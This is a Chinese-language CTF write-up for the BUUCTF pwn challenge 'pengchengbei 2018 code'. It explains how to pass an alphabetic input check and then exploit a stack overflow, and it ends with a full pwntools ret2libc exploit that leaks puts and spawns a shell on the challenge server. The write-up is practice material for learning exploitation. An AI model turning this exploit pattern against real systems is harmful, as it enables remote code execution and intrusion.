BUUCTF pwn 鹏城杯_2018_code

查看保护
BUUCTF pwn 鹏城杯_2018_code_第1张图片
程序流程
BUUCTF pwn 鹏城杯_2018_code_第2张图片
先输入name,然后通过对输入的字符串进行检测,通过后进入到have_fun()函数
BUUCTF pwn 鹏城杯_2018_code_第3张图片
check_str()函数要求输入的字符串ascii码在[65,90],[97,122],即字符‘A’-‘Z’和’a’-’z’;

另一个函数要求如下结果
BUUCTF pwn 鹏城杯_2018_code_第4张图片
这里可以写相应的python代码进行爆破(时间太长,可以测试查看规律)
BUUCTF pwn 鹏城杯_2018_code_第5张图片
相应的结果如下
BUUCTF pwn 鹏城杯_2018_code_第6张图片BUUCTF pwn 鹏城杯_2018_code_第7张图片
可以发现结果是递增的,并且
在这里插入图片描述
那么可以猜测进行测试
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
确定第一个为w,后面以从类推
在这里插入图片描述
那么输入‘wyBTs’即可成功通过检测
进入到have_fun函数,有简单的栈溢出,且没有canary
BUUCTF pwn 鹏城杯_2018_code_第8张图片
在这里插入图片描述
在这里插入图片描述
那么可以先泄露puts的地址,然后获得libc基地址,最后获得system和/bin/sh地址,最终获得shell

完整ex

from pwn import *

context(log_level='debug',arch='amd64')

#io=process("./2018_code")
io=remote("node3.buuoj.cn",25540)
elf=ELF("./2018_code")

io.recv()

io.sendline('wyBTs')

io.recv()

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

have_fun=0x400801

pop_rdi_ret=0x400983

payload=b'A'*(0x70+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(have_fun)

io.sendline(payload)

io.recvuntil(b'\x0a')

puts=u64(io.recv(6).ljust(8,b'\x00'))

print(hex(puts))

io.recv()

from LibcSearcher import *  

libc = LibcSearcher('puts',puts)  
#获取libc加载地址  
libc_base = puts - libc.dump('puts')  
#获取system地址  
system_addr = libc_base + libc.dump('system')  
#获取/bin/sh地址  
binsh_addr = libc_base + libc.dump('str_bin_sh')

ret=0x40055e

payload=b'A'*(0x70+8)+p64(ret)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)

io.sendline(payload)

io.recv()

io.interactive() 

你可能感兴趣的:(pwn安全,python,shell,安全)